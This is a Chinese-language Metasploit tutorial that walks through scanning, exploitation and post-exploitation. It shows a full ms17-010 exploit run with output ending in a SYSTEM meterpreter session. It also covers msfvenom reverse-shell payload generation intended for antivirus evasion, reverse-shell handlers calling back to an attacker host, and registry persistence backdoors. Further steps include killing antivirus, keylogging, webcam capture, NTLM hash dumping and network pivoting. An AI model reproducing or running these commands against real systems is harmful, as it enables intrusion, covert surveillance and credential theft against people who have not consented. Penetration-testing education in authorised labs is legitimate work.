MSF可以说是渗透测试领域最流行的渗透测试框架
Metasploit Framework 是一个开源的渗透测试平台,提供漏洞利用、信息收集、提权、后门等功能的模块集合。
架构模块
- msfconsole:交互式命令控制台(最常用)
- msfvenom:用于生成恶意 Payload(木马)的工具
- meterpreter:高级 payload(后门shell)
- msfdb:管理数据库的工具
- modules:模块目录,包含exploit、payload、auxiliary等
分支模块
- 辅 助 模 块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞;
- 渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块;
- 攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块;
- 后渗透攻击模块 (Post),用于内网渗透的各种操作;
- 编 码 器 模 块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式);
所有模块位置:/usr/share/metasploit-framework/modules/
文件结构
msf的主目录位于/usr/share/metasploit-framework/
,下面是目录中的文件
config metasploit的环境配置信息,数据库配置信息
data 后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息
db rails编译生成msf的web框架时的数据库信息
documentation 用户说明文档及开发文档
external metasploit的一些基础扩展模块
lib metasploit的一些基础类和第三方模块类
log msf运行时的一些系统信息和其他信息
modules metasploit的系统工具模块,包括预辅助模块(auxiliary),渗透模块(exploits),攻击荷载(payloads)和后渗透模块(posts),以及空字段模块(nops)和编码模块(Encoders)
msfbinscan 对bin文件进行文件偏移地址扫描
msfcli metasploit命令行模式,可以快速调用有效的payload进行攻击,新版本的metasploit即将在2015年6月18日弃用
msfconsole metasploit的基本命令行,集成了各种功能。
msfd metasploit服务,非持久性服务
msfelfscan 对linux的elf文件偏移地址进行扫描
msfencode metasploit的编码模块,可以对mepayload和shellcode进行编码输出
msfpayload metasploit攻击荷载,用以调用不同的攻击荷载,生成和输出不同格式的shellocode,新版本用msfvenmon替代。
msfmachscan 功能同msfelfscan
msfpescan 对windows的pe格式文件偏移地址进行扫描
msfrop 对windows的pe进行文件地址偏移操作,可以绕过alsr等
msfrpc metasploit的服务端,非持久性的rpc服务
msfrpcd 持久性的metasploit本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。
msfupdate metasploit更新模块,可以用来更新metasploit模块
msfvenom 集成了msfpayload和msfencode的功能,效率更高,即将替代msf payload和msfencode
plugins metasploit的第三方插件接口
scripts metasplit的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行
test metasploit的基本测试目录
tools 额外的小工具和第三方脚本工具
msfdb
msf默认使用kali内置的PostgreSQL数据库,也可以修改成MySQL
PostgreSQL命令
systemctl status postgresql
普通用户模式下:sudo -u postgres psql postgres 直接进入PSQL命令行
\l 查看数据库列表\
c msf 切换数据库到msf
\d 查看当前数据库的所有表
\d users:查看users表的列
\q 退出
SQL语句:正常的CRUD操作
数据库管理命令
msfdb init 初始化数据库
msfdb reinit 重新初始化
msfdb delete 删除数据库
msfdb start 启动数据库
msfdb stop 停止数据库
msfdb status 查看数据库状态
db_connect msf:admin@127.0.0.1:3306/msf 前一个msf:用户名,admin:密码,后一个msf:数据库名称
数据库操作命令
db_connect
db_disconnect
db_status #查看数据库状态,有无连接
db_nmap #后续可以用hosts命令来查询扫描出的主机
db_rebuild_cache #建立模块文件的缓存,使search搜索速度更快
db_remove
db_export #导出备份信息
db_import #导入备份信息,备份为xml文件
信息搜集模块
所利用的模块基本在auxiliary/scanner/目录中,包含扫描、fuzz测试、漏洞挖掘、网络协议欺骗等程序。
db_nmap
和nmap相同
ARP扫描
端口扫描
search portscanuse
auxiliary/scanner/portscan/syn # 也可以用ack、tcp连接等方式
set INTERFACE/RHOSTS/THREADS/PORTS
run # 扫描指定主机的指定端口
UDP扫描
use auxiliary/scanner/discovery/udp_sweep
SMB扫描
# 输入用户名和密码后的消息会更具体
use auxiliary/scanner/smb/smb_version # SMB版本、系统版本扫描
use auxiliary/scanner/smb/pipe_auditor # 扫描命名管道,判断SMB服务类型
ssh扫描
use auxiliary/acanner/ssh/ssh_version # SSH版本、系统版本扫描
use auxiliary/acanner/ssh/ssh_login # 爆破SSH密码**
set RHOSTS/USER_FILE/PASS_FILE # 设置爆破的用户名和密码字典表,也可以单独设置密码文件
run
数据库扫描
auxiliary/scanner/mssql/mssql_ping #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum #MSSQL枚举
auxiliary/scanner/mysql/mysql_login #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum #MySQL枚举
漏洞扫描
以ms17-010为例
search ms17-010 # 查找 auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/smb/smb_ms17_010 # 使用本扫描模块
show options # 查看需要设置的选项,主要是rhosts (rhosts -> remote host, lhosts -> local host)
set rhosts 192.168.112.158 # 设置远程目标主机IP地址
run # 执行当前模块的功能
漏洞利用模块
语法:
use windows/meterpreter_reverse_http
-E 强制编码
-e 要使用的编码器模块的名称
-f 输出文件名(否则为stdout)
-t 输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等
-b 要避免的字符列表: '\x00\xff'
依旧ms17-010
search ms17-010
use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.112.158runmsf6 exploit(windows/smb/ms17_010_psexec) >
run
[*] Started reverse TCP handler on 192.168.112.148:4444
[*] 192.168.112.158:445 - Target OS: Windows Server 2003 3790 Service Pack 2
[*] 192.168.112.158:445 - Filling barrel with fish... done
[*] 192.168.112.158:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.112.158:445 - [*] Preparing dynamite...
[*] 192.168.112.158:445 - Trying stick 1 (x64)...Miss
[*] 192.168.112.158:445 - [*] Trying stick 2 (x86)...Boom!
[*] 192.168.112.158:445 - [+] Successfully Leaked Transaction!
[*] 192.168.112.158:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.112.158:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.112.158:445 - Reading from CONNECTION struct at: 0x8757f010
[*] 192.168.112.158:445 - Built a write-what-where primitive...
[+] 192.168.112.158:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.112.158:445 - Selecting native target
[*] 192.168.112.158:445 - Uploading payload... aDBkWucb.exe
[*] 192.168.112.158:445 - Created \aDBkWucb.exe...[+] 192.168.112.158:445 - Service started successfully...
[*] Sending stage (175174 bytes) to 192.168.112.158
[*] 192.168.112.158:445 - Deleting \aDBkWucb.exe...
[*] Meterpreter session 5 opened (192.168.112.148:4444 -> 192.168.112.158:1029) at 2021-11-30 03:24:55 +0800
meterpreter > # 进入meterpreter提示符,表示入侵成功
简单执行几个meterpreter命令
meterpreter > getpid
Current pid: 1236
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : GOD-111
OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture : x86System Language : zh_CN
Domain : WORKGROUPLogged On Users : 2
Meterpreter : x86/windows
meterpreter > screenshot
Screenshot saved to: /home/denny/SmGGQrCx.jpeg
meterpreter > shell # 直接进入Windows2003命令提示符
但是比起use windows/meterpreter_reverse_http
,还是
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.1.1.15 LPORT=6666 -f elf > msf.elf
这个更好一点,可以拿着生成的shellcode去编码免杀
后渗透模块
run post/windows/gather/checkvm #检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav #关闭杀软
run post/windows/manage/enable_rdp #开启目标远程桌面
run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码
反弹shell
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp #payload要和持久化所用模块的payload对应
msf5 exploit(multi/handler) > set LHOST 10.1.1.15
msf5 exploit(multi/handler) > set LPORT 6666
msf5 exploit(multi/handler) > run
Meterpreter
持久化
刚获得Meterpreter Shell
时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定
getpid #查看当前Meterpreter Shell的进程号
ps #获取目标机正运行的进程
migrate 476 #将shell迁移到PID为786的进程中
Persistence模块
run persistence -h #查看persistence模块帮助信息、参数。
-X #在目标系统启动时运行后门。此选项将在 Windows 注册表中添加一个条目,
#使后门在系统启动时自动执行。
-i #连接尝试的时间间隔
-p #lhost的监听端口
-r #remote.监听者IP。
-S #在目标系统上以系统权限(SYSTEM)运行后门。但是实战中应用此参数报错,原因未知。
#举例
run persistence -X -i 10 -p 12397 -r 192.168.34.132
#若监听时一直报错,换个监听端口即可。
[*] Started reverse TCP handler on 10.100.130.180:4444
[-] Command shell session 1 is not valid and will be closed
[*] 10.100.131.192 - Command shell session 1 closed.
[-] Command shell session 2 is not valid and will be closed
[*] 10.100.131.192 - Command shell session 2 closed.
[-] Command shell session 3 is not valid and will be closed
[*] 10.100.131.192 - Command shell session 3 closed.
命令摘要
pwd、ls、cd
getsystem #获得系统管理员权限(要本地管理员权限运行)
sysinfo #查看系统信息
idletim #查看目标系统已运行时间
route #查看目标机完整网络设置
shell #进入目标机shell,exit退出she
background #将meterpreter隐藏在后台
upload ./1.txt c:\\1.txt #上传文件
download c:\1.txt ./ #下载文件
search -f *.txt -d c:// #搜索文件
keyscan_start #启动键盘记录
keyscan_stop #停止键盘记录
keyscan_dump #转储键盘记录的内容
screenshot #抓取截屏
webcam_list #摄像头列表
webcam_snap #摄像头拍照
webcam_stream #抓取视频
#Kali-Linux下登录远程桌面
sudo rdesktop -f 目标IP
route add IP 子网掩码 #添加路由,先background
Win密码
meterpreter > hashdump #抓哈希密码,类型为NTLM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b9ae0589c85dd1deae5ecdc7e0d3e0e9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:b9ae0589c85dd1deae5ecdc7e0d3e0e9:::
jiayuan:1000:aad3b435b51404eeaad3b435b51404ee:e399f145335ed1bd481bf2f030b355ad:::
第3列是密码md5
网络穿透
拿到反向shell之后,获取目标网络信息
meterpreter > run get_local_subnets
使用autoroute
模块添加路由
meterpreter > run autoroute -s 10.0.0.0/255.0.0.0
meterpreter > run autoroute -p #列出添加了路由规则的存活session
添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了
添加完成后可以考虑使用ms17_010的扫描脚本进行目标内网的扫描